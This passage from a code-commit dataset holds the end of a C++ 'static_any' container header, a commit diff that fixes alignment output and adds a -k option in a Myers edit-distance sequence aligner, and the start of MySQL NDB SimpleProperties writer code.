other_ptr = reinterpret_cast<_T*>(other_void_ptr);\n\n    switch(operation)\n    {\n        case operation_t::query_type:\n            break;\n\n        case operation_t::copy:\n            assert(this_ptr);\n            assert(other_ptr);\n            new(this_ptr)_T(*other_ptr);\n            break;\n\n        case operation_t::move:\n            assert(this_ptr);\n            assert(other_ptr);\n            new(this_ptr)_T(std::move(*other_ptr));\n            break;\n\n        case operation_t::destroy:\n            assert(this_ptr);\n            this_ptr->~_T();\n            break;\n    }\n\n    return typeid(_T);\n}\n\ntemplate<typename _T>\nstatic function_ptr_t get_function_for_type()\n{\n    return &static_any::operation<std::remove_cv_t<std::remove_reference_t<_T>>>;\n}\n\n}}\n\ntemplate <std::size_t _N>\nstruct static_any\n{\n    typedef std::size_t size_type;\n\n    static_any() = default;\n\n    ~static_any()\n    {\n        destroy();\n    }\n\n    template<typename _T>\n    static_any(_T&& v)\n    {\n        copy_or_move(std::forward<_T>(v));\n    }\n\n    static_any(const static_any& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any(static_any& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any(static_any&& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(const static_any<_M>& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(static_any<_M>& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(static_any<_M>&& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any& operator=(const static_any& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    static_any& operator=(static_any& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    static_any& operator=(static_any&& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(const static_any<_M>& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(static_any<_M>& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(static_any<_M>&& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template <typename _T>\n    static_any& operator=(const _T& t)\n    {\n        destroy();\n        copy_or_move(std::forward<_T>(t));\n        return *this;\n    }\n\n    template <typename _T>\n    static_any& operator=(_T&& t)\n    {\n        destroy();\n        copy_or_move(std::forward<_T>(t));\n        return *this;\n    }\n\n    inline void reset() { destroy(); }\n\n    template<typename _T>\n    inline const _T& get() const;\n\n    template<typename _T>\n    inline _T& get();\n\n    template <typename _T>\n    bool has() const\n    {\n        if (function_ == detail::static_any::get_function_for_type<_T>())\n        {\n            return true;\n        }\n        else if (function_)\n        {\n            \/\/ need to try another, possibly more costly way, as we may compare types across DLL boundaries\n            return std::type_index(typeid(_T)) == std::type_index(function_(operation_t::query_type, nullptr, nullptr));\n        }\n        return false;\n    }\n\n    const std::type_info& type() const\n    {\n        return function_(operation_t::query_type, const_cast<static_any*>(this), nullptr);\n    }\n\n    bool empty() const { return function_ == nullptr; }\n\n    static constexpr size_type size() { return _N; }\n\n    \/\/ Initializes with object of type T, created in-place with specified constructor params\n    template<typename _T, typename... Args>\n    void emplace(Args&&... args)\n    {\n        destroy();\n        new(buff_.data()) _T(std::forward<Args>(args)...);\n        function_ = detail::static_any::get_function_for_type<_T>();\n    }\n\nprivate:\n    using operation_t = detail::static_any::operation_t;\n    using function_ptr_t = detail::static_any::function_ptr_t;\n\n    template <typename _T>\n    void copy_or_move(_T&& t)\n    {\n        static_assert(size() >= sizeof(_T), \"_T is too big to be copied to static_any\");\n        assert(function_ == nullptr);\n\n        function_ = detail::static_any::get_function_for_type<_T>();\n\n        using NonConstT = std::remove_cv_t<std::remove_reference_t<_T>>;\n        NonConstT* non_const_t = const_cast<NonConstT*>(&t);\n\n        call_function<_T&&>(buff_.data(), non_const_t);\n    }\n\n    template <typename Ref>\n    std::enable_if_t<std::is_rvalue_reference<Ref>::value>\n    call_function(void* this_void_ptr, void* other_void_ptr)\n    {\n        function_(operation_t::move, this_void_ptr, other_void_ptr);\n    }\n\n    template <typename Ref>\n    std::enable_if_t<!std::is_rvalue_reference<Ref>::value>\n    call_function(void* this_void_ptr, void* other_void_ptr)\n    {\n        function_(operation_t::copy, this_void_ptr, other_void_ptr);\n    }\n\n    void destroy()\n    {\n        if (function_)\n        {\n            function_(operation_t::destroy, buff_.data(), nullptr);\n            function_ = nullptr;\n        }\n    }\n\n    template<typename _T>\n    const _T* as() const\n    {\n        return reinterpret_cast<const _T*>(buff_.data());\n    }\n\n    template<typename _T>\n    _T* as()\n    {\n        return reinterpret_cast<_T*>(buff_.data());\n    }\n\n    template<std::size_t _M>\n    void copy_from_another(const static_any<_M>& another)\n    {\n        if (another.function_)\n        {\n            function_= another.function_;\n            char* other_data = const_cast<char*>(another.buff_.data());\n            function_(operation_t::copy, buff_.data(), other_data);\n        }\n    }\n\n    std::array<char, _N> buff_;\n    function_ptr_t function_ = nullptr;\n\n    template<std::size_t _S>\n    friend struct static_any;\n\n    template<typename _ValueT, std::size_t _S>\n    friend _ValueT* any_cast(static_any<_S>*);\n\n    template<typename _ValueT, std::size_t _S>\n    friend _ValueT& any_cast(static_any<_S>&);\n};\n\nstruct bad_any_cast : public std::bad_cast\n{\n    bad_any_cast(const std::type_info& from,\n                 const std::type_info& to)\n    : from_(from),\n      to_(to)\n    {\n        std::ostringstream oss;\n        oss << \"failed conversion using any_cast: stored type \"\n            << from.name()\n            << \", trying to cast to \"\n            << to.name();\n        reason_ = oss.str();\n    }\n\n    const std::type_info& stored_type() const { return from_; }\n    const std::type_info& target_type() const { return to_; }\n\n    virtual const char* what() const throw()\n    {\n        return reason_.c_str();\n    }\n\nprivate:\n    const std::type_info& from_;\n    const std::type_info& to_;\n    std::string reason_;\n};\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline _ValueT* any_cast(static_any<_S>* a)\n{\n    if (!a->template has<_ValueT>())\n        return nullptr;\n\n    return a->template as<_ValueT>();\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline const _ValueT* any_cast(const static_any<_S>* a)\n{\n    return any_cast<const _ValueT>(const_cast<static_any<_S>*>(a));\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline _ValueT& any_cast(static_any<_S>& a)\n{\n    if (!a.template has<_ValueT>())\n        throw bad_any_cast(a.type(), typeid(_ValueT));\n\n    return *a.template as<_ValueT>();\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline const _ValueT& any_cast(const static_any<_S>& a)\n{\n    return any_cast<const _ValueT>(const_cast<static_any<_S>&>(a));\n}\n\ntemplate <std::size_t _S>\ntemplate <typename _T>\nconst _T& static_any<_S>::get() const\n{\n    return any_cast<_T>(*this);\n}\n\ntemplate <std::size_t _S>\ntemplate <typename _T>\n_T& static_any<_S>::get()\n{\n    return any_cast<_T>(*this);\n}\n\ntemplate <std::size_t _N>\nstruct static_any_t\n{\n    typedef std::size_t size_type;\n\n    static constexpr size_type size() { return _N; }\n\n    static_any_t() = default;\n    static_any_t(const static_any_t&) = default;\n\n    template <typename _ValueT>\n    static_any_t(_ValueT&& t)\n    {\n        copy(std::forward<_ValueT>(t));\n    }\n\n    template <typename _ValueT>\n    static_any_t& operator=(_ValueT&& t)\n    {\n        copy(std::forward<_ValueT>(t));\n        return *this;\n    }\n\n    template <typename _ValueT>\n    _ValueT& get() { return *reinterpret_cast<_ValueT*>(buff_.data()); }\n\n    template <typename _ValueT>\n    const _ValueT& get() const { return *reinterpret_cast<const _ValueT*>(buff_.data()); }\n\nprivate:\n    template <typename _ValueT>\n    void copy(_ValueT&& t)\n    {\n        static_assert(std::is_trivially_copyable<_ValueT>::value, \"_ValueT is not trivially copyable\");\n        static_assert(size() >= sizeof(_ValueT), \"_ValueT is too big to be copied to static_any\");\n\n        std::memcpy(buff_.data(), (char*)&t, sizeof(_ValueT));\n    }\n\n    std::array<char, _N> buff_;\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <unistd.h>\n#include <cstdlib>\n#include <cstring>\n#include <cstdio>\n#include <vector>\n#include <ctime>\n#include <string>\n#include <climits>\n#include <queue>\n\n#include \"myers.h\"\n\nusing namespace std;\n\nint readFastaSequences(const char* path, vector< vector<unsigned char> >* seqs,\n                       unsigned char* letterIdx, char* idxToLetter, bool* inAlphabet, int &alphabetLength);\n\nvoid printAlignment(const unsigned char* query, const int queryLength,\n                    const unsigned char* target, const int targetLength,\n                    const unsigned char* alignment, const int alignmentLength,\n                    const int modeCode, const char* idxToLetter);\n\n\/\/ For debugging\nvoid printSeq(const vector<unsigned char> &seq) {\n    for (int i = 0; i < seq.size(); i++)\n        printf(\"%d \", seq[i]);\n    printf(\"\\n\");\n}\n\nint main(int argc, char * const argv[]) {\n    \n    \/\/----------------------------- PARSE COMMAND LINE ------------------------\/\/\n    \/\/ If true, there will be no output.\n    bool silent = false;\n    \/\/ Alignment mode.\n    char mode[16] = \"NW\";\n    \/\/ How many best sequences (those with smallest score) do we want.\n    \/\/ If 0, then we want them all.\n    int numBestSeqs = 0;\n    bool findAlignment = false;\n    int option;\n    while ((option = getopt(argc, argv, \"a:n:sc\")) >= 0) { \/\/ : is not a delimiter but indicator of parameter\n        switch (option) {\n        case 'a': strcpy(mode, optarg); break;\n        case 'n': numBestSeqs = atoi(optarg); break;\n        case 's': silent = true; break;\n        case 'c': findAlignment = true; break;\n        }\n    }\n    if (optind + 2 != argc) {\n        fprintf(stderr, \"\\n\");\n        fprintf(stderr, \"Usage: aligner [options...] <queries.fasta> <target.fasta>\\n\");        \n        fprintf(stderr, \"Options:\\n\");\n        fprintf(stderr, \"\\t-s  If specified, there will be no score output (silent mode).\\n\");\n        fprintf(stderr, \"\\t-a HW|NW|SHW  Alignment mode that will be used. [default: NW]\\n\");\n        fprintf(stderr, \"\\t-n N  Score will be calculated only for N best sequences (best = with smallest score).\"\n                        \"If N = 0 then all sequences will be calculated. \" \n                        \"Specifying small N can make total calculation much faster. [default: 0]\\n\");\n        fprintf(stderr, \"\\t-c If specified, alignment will be found and printed.\\n\");\n        return 1;\n    }\n    \/\/-------------------------------------------------------------------------\/\/\n\n\n    int modeCode;\n    if (!strcmp(mode, \"SHW\"))\n        modeCode = MYERS_MODE_SHW;\n    else if (!strcmp(mode, \"HW\"))\n        modeCode = MYERS_MODE_HW;\n    else if (!strcmp(mode, \"NW\"))\n        modeCode = MYERS_MODE_NW;\n    else {\n        printf(\"Invalid mode!\\n\");\n        return 1;\n    }\n    printf(\"Using mode %s\\n\", mode);\n\n\n    \/\/ Alphabet information, will be constructed on fly while reading sequences\n    unsigned char letterIdx[128]; \/\/!< letterIdx[c] is index of letter c in alphabet\n    char idxToLetter[128]; \/\/!< numToLetter[i] is letter that has index i in alphabet\n    bool inAlphabet[128]; \/\/ inAlphabet[c] is true if c is in alphabet\n    for (int i = 0; i < 128; i++) {\n        inAlphabet[i] = false;\n    }\n    int alphabetLength = 0;\n\n    int readResult;\n    \/\/ Read queries\n    char* queriesFilepath = argv[optind];\n    vector< vector<unsigned char> >* querySequences = new vector< vector<unsigned char> >();\n    printf(\"Reading queries fasta file...\\n\");\n    readResult = readFastaSequences(queriesFilepath, querySequences, letterIdx, idxToLetter,\n                                    inAlphabet, alphabetLength);\n    if (readResult) {\n        printf(\"Error: There is no file with name %s\\n\", queriesFilepath);\n        delete querySequences;\n        return 1;\n    }\n    int numQueries = querySequences->size();\n\n    \/\/ Read target\n    char* targetFilepath = argv[optind+1];    \n    vector< vector<unsigned char> >* targetSequences = new vector< vector<unsigned char> >();\n    printf(\"Reading target fasta file...\\n\");\n    readResult = readFastaSequences(targetFilepath, targetSequences, letterIdx, idxToLetter,\n                                    inAlphabet, alphabetLength);\n    if (readResult) {\n        printf(\"Error: There is no file with name %s\\n\", targetFilepath);\n        delete querySequences;\n        delete targetSequences;\n        return 1;\n    }\n    unsigned char* target = (*targetSequences)[0].data();\n    int targetLength = (*targetSequences)[0].size();\n\n    printf(\"Alphabet: \");\n    for (int c = 0; c < 128; c++)\n        if (inAlphabet[c])\n            printf(\"%c \", c);\n    printf(\"\\n\");\n    printf(\"Alphabet length: %d\\n\", alphabetLength);\n\n\n    \/\/ ----------------------------- MAIN CALCULATION ----------------------------- \/\/\n    printf(\"\\nSearching...\\n\");\n    int* scores = new int[numQueries];\n    int* pos    = new int[numQueries];\n    priority_queue<int> bestScores; \/\/ Contains numBestSeqs best scores\n    int k = -1;\n    unsigned char* alignment = NULL; int alignmentLength;\n    clock_t start = clock();\n\n    if (!findAlignment) {\n        printf(\"0\/%d\", numQueries);\n        fflush(stdout);\n    }\n    for (int i = 0; i < numQueries; i++) {\n        unsigned char* query = (*querySequences)[i].data();\n        int queryLength = (*querySequences)[i].size();\n        \/\/ Calculate score\n        myersCalcEditDistance(query, queryLength, target, targetLength,\n                              alphabetLength, k, modeCode, scores + i, pos + i,\n                              findAlignment, &alignment, &alignmentLength);\n        \n        \/\/ If we want only numBestSeqs best sequences, update best scores and adjust k to largest score.\n        if (numBestSeqs > 0) {\n            if (scores[i] >= 0) {\n                bestScores.push(scores[i]);\n                if (bestScores.size() > numBestSeqs) {\n                    bestScores.pop();\n                }\n                if (bestScores.size() == numBestSeqs) {\n                    k = bestScores.top() - 1;\n                }\n            }\n        }\n        \n        if (!findAlignment) {\n            printf(\"\\r%d\/%d\", i+1, numQueries);\n            fflush(stdout);\n        } else {\n            \/\/ Print alignment if it was found\n            if (alignment) {\n                printf(\"\\n\");\n                printAlignment(query, queryLength, target, targetLength,\n                               alignment, alignmentLength, modeCode, idxToLetter);\n            }\n        }\n\n        if (alignment)\n            free(alignment);\n    }\n    printf(\"\\n\");\n\n    if (!silent) {\n        int scoreLimit = -1; \/\/ Only scores <= then scoreLimit will be printed (we consider -1 as infinity)\n        printf(\"\\n\");\n\n        if (bestScores.size() > 0) {\n            printf(\"%d best scores:\\n\", (int)bestScores.size());\n            scoreLimit = bestScores.top();\n        }\n\n        printf(\"Scores (score, position) \\n\");\n        for (int i = 0; i < numQueries; i++)\n            if (scores[i] > -1 && (scoreLimit == -1 || scores[i] <= scoreLimit))\n                printf(\"%d: (%d, %d)\\n\", i, scores[i], pos[i]);\n        \n    }\n\n    clock_t finish = clock();\n    double cpuTime = ((double)(finish-start))\/CLOCKS_PER_SEC;\n    printf(\"\\nCpu time of searching: %lf\\n\", cpuTime);\n    \/\/ ---------------------------------------------------------------------------- \/\/\n\n    \/\/ Free allocated space\n    delete querySequences;\n    delete targetSequences;\n    delete[] scores;\n    delete[] pos;\n    \n    return 0;\n}\n\n\n\n\n\/** Reads sequences from fasta file.\n * Function is passed current alphabet information and will update it if needed.\n * @param [in] path Path to fasta file containing sequences.\n * @param [out] seqs Sequences will be stored here, each sequence as vector of indexes from alphabet.\n * @param [inout] letterIdx  Array of length 128. letterIdx[c] is index of letter c in alphabet.\n * @param [inout] inAlphabet  Array of length 128. inAlphabet[c] is true if c is in alphabet.\n * @param [inout] alphabetLength\n * @return 0 if all ok, positive number otherwise.\n *\/\nint readFastaSequences(const char* path, vector< vector<unsigned char> >* seqs,\n                       unsigned char* letterIdx, char* idxToLetter, bool* inAlphabet, int &alphabetLength) {\n    seqs->clear();\n    \n    FILE* file = fopen(path, \"r\");\n    if (file == 0)\n        return 1;\n\n    bool inHeader = false;\n    bool inSequence = false;\n    int buffSize = 4096;\n    char buffer[buffSize];\n    while (!feof(file)) {\n        int read = fread(buffer, sizeof(char), buffSize, file);\n        for (int i = 0; i < read; ++i) {\n            char c = buffer[i];\n            if (inHeader) { \/\/ I do nothing if in header\n                if (c == '\\n')\n                    inHeader = false;\n            } else {\n                if (c == '>') {\n                    inHeader = true;\n                    inSequence = false;\n                } else {\n                    if (c == '\\r' || c == '\\n')\n                        continue;\n                    \/\/ If starting new sequence, initialize it.\n                    if (inSequence == false) {\n                        inSequence = true;\n                        seqs->push_back(vector<unsigned char>());\n                    }\n\n                    if (!inAlphabet[c]) { \/\/ I construct alphabet on fly\n                        inAlphabet[c] = true;\n                        letterIdx[c] = alphabetLength;\n                        idxToLetter[alphabetLength] = c;\n                        alphabetLength++;\n                    }\n                    seqs->back().push_back(letterIdx[c]);\n                }\n            }\n        }\n    }\n\n    fclose(file);\n    return 0;\n}\n\n\nvoid printAlignment(const unsigned char* query, const int queryLength,\n                    const unsigned char* target, const int targetLength,\n                    const unsigned char* alignment, const int alignmentLength,\n                    const int modeCode, const char* idxToLetter) {\n    printf(\"query length = %d, target length = %d\\n\", queryLength, targetLength);\n    int tIdx = 0;\n    int qIdx = 0;\n    int targetLettersToSkip = 0;\n    if (modeCode == MYERS_MODE_HW) {\n        for (int j = 0; j < alignmentLength && alignment[j] == 2; j++) {\n            targetLettersToSkip++;\n            tIdx++;\n        }\n    }\n    for (int start = targetLettersToSkip; start < alignmentLength; start += 50) {\n        \/\/ target\n        printf(\"T: \");\n        int startTIdx = tIdx;\n        for (int j = start; j < start + 50 && j < alignmentLength; j++) {\n            if (alignment[j] == 1)\n                printf(\"_\");\n            else\n                printf(\"%c\", idxToLetter[target[tIdx++]]);\n        }\n        printf(\" (%d - %d)\\n\", startTIdx, tIdx - 1);\n        \/\/ query\n        printf(\"Q: \");\n        int startQIdx = qIdx;\n        for (int j = start; j < start + 50 && j < alignmentLength; j++) {\n            if (alignment[j] == 2)\n                printf(\"_\");\n            else\n                printf(\"%c\", idxToLetter[query[qIdx++]]);\n        }\n        printf(\" (%d - %d)\\n\", startQIdx, qIdx - 1);\n        printf(\"\\n\");\n    }\n}\n<commit_msg>Fixed bug with alignment output<commit_after>#include <unistd.h>\n#include <cstdlib>\n#include <cstring>\n#include <cstdio>\n#include <vector>\n#include <ctime>\n#include <string>\n#include <climits>\n#include <queue>\n\n#include \"myers.h\"\n\nusing namespace std;\n\nint readFastaSequences(const char* path, vector< vector<unsigned char> >* seqs,\n                       unsigned char* letterIdx, char* idxToLetter, bool* inAlphabet, int &alphabetLength);\n\nvoid printAlignment(const unsigned char* query, const int queryLength,\n                    const unsigned char* target, const int targetLength,\n                    const unsigned char* alignment, const int alignmentLength,\n                    const int position, const int modeCode, const char* idxToLetter);\n\n\/\/ For debugging\nvoid printSeq(const vector<unsigned char> &seq) {\n    for (int i = 0; i < seq.size(); i++)\n        printf(\"%d \", seq[i]);\n    printf(\"\\n\");\n}\n\nint main(int argc, char * const argv[]) {\n    \n    \/\/----------------------------- PARSE COMMAND LINE ------------------------\/\/\n    \/\/ If true, there will be no output.\n    bool silent = false;\n    \/\/ Alignment mode.\n    char mode[16] = \"NW\";\n    \/\/ How many best sequences (those with smallest score) do we want.\n    \/\/ If 0, then we want them all.\n    int numBestSeqs = 0;\n    bool findAlignment = false;\n    int option;\n    int kArg = -1;\n    while ((option = getopt(argc, argv, \"a:n:k:sc\")) >= 0) { \/\/ : is not a delimiter but indicator of parameter\n        switch (option) {\n        case 'a': strcpy(mode, optarg); break;\n        case 'n': numBestSeqs = atoi(optarg); break;\n        case 'k': kArg = atoi(optarg); break;\n        case 's': silent = true; break;\n        case 'c': findAlignment = true; break;\n        }\n    }\n    if (optind + 2 != argc) {\n        fprintf(stderr, \"\\n\");\n        fprintf(stderr, \"Usage: aligner [options...] <queries.fasta> <target.fasta>\\n\");        \n        fprintf(stderr, \"Options:\\n\");\n        fprintf(stderr, \"\\t-s  If specified, there will be no score output (silent mode).\\n\");\n        fprintf(stderr, \"\\t-a HW|NW|SHW  Alignment mode that will be used. [default: NW]\\n\");\n        fprintf(stderr, \"\\t-n N  Score will be calculated only for N best sequences (best = with smallest score).\"\n                \" If N = 0 then all sequences will be calculated.\" \n                \" Specifying small N can make total calculation much faster. [default: 0]\\n\");\n        fprintf(stderr, \"\\t-c If specified, alignment will be found and printed.\\n\");\n        fprintf(stderr, \"\\t-k K  Sequences with score > K will be discarded.\"\n                \" Smaller k, faster calculation.\");\n        return 1;\n    }\n    \/\/-------------------------------------------------------------------------\/\/\n\n\n    int modeCode;\n    if (!strcmp(mode, \"SHW\"))\n        modeCode = MYERS_MODE_SHW;\n    else if (!strcmp(mode, \"HW\"))\n        modeCode = MYERS_MODE_HW;\n    else if (!strcmp(mode, \"NW\"))\n        modeCode = MYERS_MODE_NW;\n    else {\n        printf(\"Invalid mode!\\n\");\n        return 1;\n    }\n    printf(\"Using mode %s\\n\", mode);\n\n\n    \/\/ Alphabet information, will be constructed on fly while reading sequences\n    unsigned char letterIdx[128]; \/\/!< letterIdx[c] is index of letter c in alphabet\n    char idxToLetter[128]; \/\/!< numToLetter[i] is letter that has index i in alphabet\n    bool inAlphabet[128]; \/\/ inAlphabet[c] is true if c is in alphabet\n    for (int i = 0; i < 128; i++) {\n        inAlphabet[i] = false;\n    }\n    int alphabetLength = 0;\n\n    int readResult;\n    \/\/ Read queries\n    char* queriesFilepath = argv[optind];\n    vector< vector<unsigned char> >* querySequences = new vector< vector<unsigned char> >();\n    printf(\"Reading queries fasta file...\\n\");\n    readResult = readFastaSequences(queriesFilepath, querySequences, letterIdx, idxToLetter,\n                                    inAlphabet, alphabetLength);\n    if (readResult) {\n        printf(\"Error: There is no file with name %s\\n\", queriesFilepath);\n        delete querySequences;\n        return 1;\n    }\n    int numQueries = querySequences->size();\n\n    \/\/ Read target\n    char* targetFilepath = argv[optind+1];    \n    vector< vector<unsigned char> >* targetSequences = new vector< vector<unsigned char> >();\n    printf(\"Reading target fasta file...\\n\");\n    readResult = readFastaSequences(targetFilepath, targetSequences, letterIdx, idxToLetter,\n                                    inAlphabet, alphabetLength);\n    if (readResult) {\n        printf(\"Error: There is no file with name %s\\n\", targetFilepath);\n        delete querySequences;\n        delete targetSequences;\n        return 1;\n    }\n    unsigned char* target = (*targetSequences)[0].data();\n    int targetLength = (*targetSequences)[0].size();\n\n    printf(\"Alphabet: \");\n    for (int c = 0; c < 128; c++)\n        if (inAlphabet[c])\n            printf(\"%c \", c);\n    printf(\"\\n\");\n    printf(\"Alphabet length: %d\\n\", alphabetLength);\n\n\n    \/\/ ----------------------------- MAIN CALCULATION ----------------------------- \/\/\n    printf(\"\\nSearching...\\n\");\n    int* scores = new int[numQueries];\n    int* pos    = new int[numQueries];\n    priority_queue<int> bestScores; \/\/ Contains numBestSeqs best scores\n    int k = kArg;\n    unsigned char* alignment = NULL; int alignmentLength;\n    clock_t start = clock();\n\n    if (!findAlignment) {\n        printf(\"0\/%d\", numQueries);\n        fflush(stdout);\n    }\n    for (int i = 0; i < numQueries; i++) {\n        unsigned char* query = (*querySequences)[i].data();\n        int queryLength = (*querySequences)[i].size();\n        \/\/ Calculate score\n        myersCalcEditDistance(query, queryLength, target, targetLength,\n                              alphabetLength, k, modeCode, scores + i, pos + i,\n                              findAlignment, &alignment, &alignmentLength);\n        \n        \/\/ If we want only numBestSeqs best sequences, update best scores and adjust k to largest score.\n        if (numBestSeqs > 0) {\n            if (scores[i] >= 0) {\n                bestScores.push(scores[i]);\n                if (bestScores.size() > numBestSeqs) {\n                    bestScores.pop();\n                }\n                if (bestScores.size() == numBestSeqs) {\n                    k = bestScores.top() - 1;\n                    if (kArg >= 0 && kArg < k)\n                        k = kArg;\n                }\n            }\n        }\n        \n        if (!findAlignment) {\n            printf(\"\\r%d\/%d\", i+1, numQueries);\n            fflush(stdout);\n        } else {\n            \/\/ Print alignment if it was found\n            if (alignment) {\n                printf(\"\\n\");\n                printAlignment(query, queryLength, target, targetLength,\n                               alignment, alignmentLength,\n                               pos[i], modeCode, idxToLetter);\n            }\n        }\n\n        if (alignment)\n            free(alignment);\n    }\n    printf(\"\\n\");\n\n    if (!silent) {\n        int scoreLimit = -1; \/\/ Only scores <= then scoreLimit will be printed (we consider -1 as infinity)\n        printf(\"\\n\");\n\n        if (bestScores.size() > 0) {\n            printf(\"%d best scores:\\n\", (int)bestScores.size());\n            scoreLimit = bestScores.top();\n        }\n\n        printf(\"Scores (score, position) \\n\");\n        for (int i = 0; i < numQueries; i++)\n            if (scores[i] > -1 && (scoreLimit == -1 || scores[i] <= scoreLimit))\n                printf(\"%d: (%d, %d)\\n\", i, scores[i], pos[i]);\n        \n    }\n\n    clock_t finish = clock();\n    double cpuTime = ((double)(finish-start))\/CLOCKS_PER_SEC;\n    printf(\"\\nCpu time of searching: %lf\\n\", cpuTime);\n    \/\/ ---------------------------------------------------------------------------- \/\/\n\n    \/\/ Free allocated space\n    delete querySequences;\n    delete targetSequences;\n    delete[] scores;\n    delete[] pos;\n    \n    return 0;\n}\n\n\n\n\n\/** Reads sequences from fasta file.\n * Function is passed current alphabet information and will update it if needed.\n * @param [in] path Path to fasta file containing sequences.\n * @param [out] seqs Sequences will be stored here, each sequence as vector of indexes from alphabet.\n * @param [inout] letterIdx  Array of length 128. letterIdx[c] is index of letter c in alphabet.\n * @param [inout] inAlphabet  Array of length 128. inAlphabet[c] is true if c is in alphabet.\n * @param [inout] alphabetLength\n * @return 0 if all ok, positive number otherwise.\n *\/\nint readFastaSequences(const char* path, vector< vector<unsigned char> >* seqs,\n                       unsigned char* letterIdx, char* idxToLetter, bool* inAlphabet, int &alphabetLength) {\n    seqs->clear();\n    \n    FILE* file = fopen(path, \"r\");\n    if (file == 0)\n        return 1;\n\n    bool inHeader = false;\n    bool inSequence = false;\n    int buffSize = 4096;\n    char buffer[buffSize];\n    while (!feof(file)) {\n        int read = fread(buffer, sizeof(char), buffSize, file);\n        for (int i = 0; i < read; ++i) {\n            char c = buffer[i];\n            if (inHeader) { \/\/ I do nothing if in header\n                if (c == '\\n')\n                    inHeader = false;\n            } else {\n                if (c == '>') {\n                    inHeader = true;\n                    inSequence = false;\n                } else {\n                    if (c == '\\r' || c == '\\n')\n                        continue;\n                    \/\/ If starting new sequence, initialize it.\n                    if (inSequence == false) {\n                        inSequence = true;\n                        seqs->push_back(vector<unsigned char>());\n                    }\n\n                    if (!inAlphabet[c]) { \/\/ I construct alphabet on fly\n                        inAlphabet[c] = true;\n                        letterIdx[c] = alphabetLength;\n                        idxToLetter[alphabetLength] = c;\n                        alphabetLength++;\n                    }\n                    seqs->back().push_back(letterIdx[c]);\n                }\n            }\n        }\n    }\n\n    fclose(file);\n    return 0;\n}\n\n\nvoid printAlignment(const unsigned char* query, const int queryLength,\n                    const unsigned char* target, const int targetLength,\n                    const unsigned char* alignment, const int alignmentLength,\n                    const int position, const int modeCode, const char* idxToLetter) {\n    printf(\"query length = %d, target length = %d\\n\", queryLength, targetLength);\n    int tIdx = -1;\n    int qIdx = -1;\n    if (modeCode == MYERS_MODE_HW) {\n        tIdx = position;\n        for (int i = 0; i < alignmentLength; i++) {\n            if (alignment[i] != 1)\n                tIdx--;\n        }\n    }\n    printf(\"%d\\n\", alignment[0]);\n    for (int start = 0; start < alignmentLength; start += 50) {\n        \/\/ target\n        printf(\"T: \");\n        int startTIdx;\n        for (int j = start; j < start + 50 && j < alignmentLength; j++) {\n            if (alignment[j] == 1)\n                printf(\"_\");\n            else\n                printf(\"%c\", idxToLetter[target[++tIdx]]);\n            if (j == start)\n                startTIdx = tIdx;\n        }\n        printf(\" (%d - %d)\\n\", max(startTIdx, 0), tIdx);\n        \/\/ query\n        printf(\"Q: \");\n        int startQIdx = qIdx;\n        for (int j = start; j < start + 50 && j < alignmentLength; j++) {\n            if (alignment[j] == 2)\n                printf(\"_\");\n            else\n                printf(\"%c\", idxToLetter[query[++qIdx]]);\n            if (j == start)\n                startQIdx = qIdx;\n        }\n        printf(\" (%d - %d)\\n\", max(startQIdx, 0), qIdx);\n        printf(\"\\n\");\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include <ndb_global.h>\n#include <SimpleProperties.hpp>\n#include <NdbOut.hpp>\n#include <NdbTCP.h>\n#include <UtilBuffer.hpp>\n\nbool\nSimpleProperties::Writer::first(){\n  return reset();\n}\n\nbool \nSimpleProperties::Writer::add(Uint16 key, Uint32 value){\n  Uint32 head = Uint32Value;  \n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  \n  return putWord(htonl(value));\n}\n\nbool\nSimpleProperties::Writer::add(const char * value, int len){\n  const Uint32 valLen = (len + 3) \/ 4;\n\n  if ((len % 4) == 0)\n    return putWords((Uint32*)value, valLen);\n\n  const Uint32 putLen= valLen - 1;\n  if (!putWords((Uint32*)value, putLen))\n    return false;\n\n  \/\/ Special handling of last bytes\n  union {\n    Uint32 lastWord;\n    char lastBytes[4];\n  };\n  memcpy(lastBytes,\n         value + putLen*4,\n         len - putLen*4);\n  return putWord(lastWord);\n}\n\nbool\nSimpleProperties::Writer::add(Uint16 key, const char * value){\n  Uint32 head = StringValue;\n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  Uint32 strLen = strlen(value) + 1; \/\/ Including NULL-byte\n  if(!putWord(htonl(strLen)))\n    return false;\n\n  return add(value, (int)strLen);\n\n}\n\nbool\nSimpleProperties::Writer::add(Uint16 key, const void* value, int len){\n  Uint32 head = BinaryValue;\n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  if(!putWord(htonl(len)))\n    return 